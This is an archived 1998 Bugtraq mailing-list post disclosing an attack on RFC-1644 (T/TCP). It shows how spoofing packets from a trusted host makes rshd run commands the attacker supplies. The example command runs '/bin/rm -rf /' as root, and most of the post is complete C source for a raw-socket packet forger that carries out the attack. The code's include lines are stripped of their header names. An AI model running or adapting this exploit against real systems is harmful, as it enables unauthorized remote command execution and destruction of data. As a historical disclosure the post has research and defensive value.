Everhart,Glenn From: Vasim Valejev [vasim@DIASPRO.COM] Sent: Tuesday, April 07, 1998 9:27 AM To: BUGTRAQ@NETSPACE.ORG Subject: Example of RFC-1644 attack Hi ! Good news : SYN-flood attack with TTCP-packets will have null effects at most systems . But attacks on some tcp-services can be successful : Simple network : computer 'victim' and computer 'master' with link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and 'shell stream ... rshd' in /etc/inetd.conf . Both computers have t/tcp (rfc-1644) support . 1. Master does any t/tcp connections to victim . Victim's cache[master].cc sets to value > 0 . ... Time passed ... 2. Hacker runs command : hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0' Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim' with source address of 'master' . CC value in packet may be any > cache[master].cc (0xffffffff for example) . 3. Hacker's packet received and victim sends SYN+ACK packet to master . Preparing to run rshd with hacker's data ('rm -rf /' as root) . ... 10-50 ms passed ... 4. Victim's packet received and master sends RST packet . Too late , sorry ... FreeBSD version of 1644 (use ip addresses only) : /* 1644 by Vasim V. */ /* Please , don't use this program for any destructive targets ! */ #include #include #include #include #include #include #include #include #include #include #include #define NEED_NEWCC 0x01 #define NEED_FIN 0x02 #define NEED_PUSH 0x04 #define NEED_TSTAMP 0x08 struct fhdr { u_long saddr; u_long daddr; u_char zero; u_char protocol; u_short length; }; unsigned long cc = 0x7fffff00; u_short in_cksum(u_short *data,u_short length) { long value; u_short i; value = 0; for(i=0; i < (length >> 1); i++) value+=data[i]; if (length & 1) value+=*(((u_char *) data) + length - 1); value=(value & 65535) + (value >> 16); return(~value); } void sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options) { struct ip *mip; struct tcphdr *mtcp; struct fhdr *fhdr; int totlen; u_char buf[9000]; struct timeval tp; struct sockaddr_in sin; gettimeofday(&tp, NULL); srandom(tp.tv_usec); if (cc == 0) cc = tp.tv_sec; totlen = sizeof(struct ip) + sizeof(struct tcphdr); mtcp = (struct tcphdr *) (buf + sizeof(struct ip)); mtcp->th_sport = htons(512 + (random() % 512)); mtcp->th_dport = htons(port); mtcp->th_seq = htonl(random()); mtcp->th_ack = 0; mtcp->th_x2 = 0; mtcp->th_flags = TH_SYN; if (options & NEED_FIN) mtcp->th_flags |= TH_FIN; if (options & NEED_PUSH) mtcp->th_flags |= TH_PUSH; mtcp->th_win = htons(17244); mtcp->th_urp = 0; mtcp->th_sum = 0; buf[totlen++] = TCPOPT_MAXSEG; buf[totlen++] = TCPOLEN_MAXSEG; *((u_short *) &buf[totlen]) = htons(1460); totlen += sizeof(u_short); if (options & NEED_TSTAMP) { *((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 | TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = htonl(tp.tv_sec); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = 0; totlen += sizeof(u_long); } buf[totlen++] = TCPOPT_NOP; buf[totlen++] = TCPOPT_NOP; if (options & NEED_NEWCC) buf[totlen++] = TCPOPT_CCNEW; else buf[totlen++] = TCPOPT_CC; buf[totlen++] = TCPOLEN_CC; *((u_long *) &buf[totlen]) = htonl(cc); cc++; totlen += sizeof(u_long); mtcp->th_off = (totlen - sizeof(struct ip)) >> 2; if (data && length) memcpy(buf + totlen, data, length); fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr)); fhdr->saddr = saddr; fhdr->daddr = daddr; fhdr->zero = 0; fhdr->protocol = IPPROTO_TCP; fhdr->length = htons(totlen - sizeof(struct ip) + length); mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length); mip = (struct ip *) buf; mip->ip_len = totlen + length; mip->ip_v = 4; mip->ip_hl = 5; mip->ip_tos = 0; mip->ip_id = htons(random() % 32768); mip->ip_off = IP_DF; mip->ip_ttl = 0x40; mip->ip_p = IPPROTO_TCP; mip->ip_sum = 0; mip->ip_src.s_addr = saddr; mip->ip_dst.s_addr = daddr; mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip)); memset((void *) &sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = daddr; sin.sin_port = htons(port); if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0) perror("sendto"); } void main (int argc, char **argv) { u_long saddr; u_long daddr; int port; int sock; u_char buf[8192]; int len; int i; u_char *p; u_char c; if (argc != 5) { fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]); exit(1); } saddr = inet_addr(argv[1]); daddr = inet_addr(argv[2]); port = atoi(argv[3]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("raw socket"); exit(2); } i = 1; setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)); p = buf; len = 0; for(i = 0; i < strlen(argv[4]); i++) { c = argv[4][i]; if (c == '\\') { i++; c = argv[4][i]; switch (c) { case '0': *p++ = '\0'; break; case 'r': *p++ = '\r'; break; case 'n': *p++ = '\n'; break; default: *p++ = c; break; } } else *p++ = c; len++; } sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP); } Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE)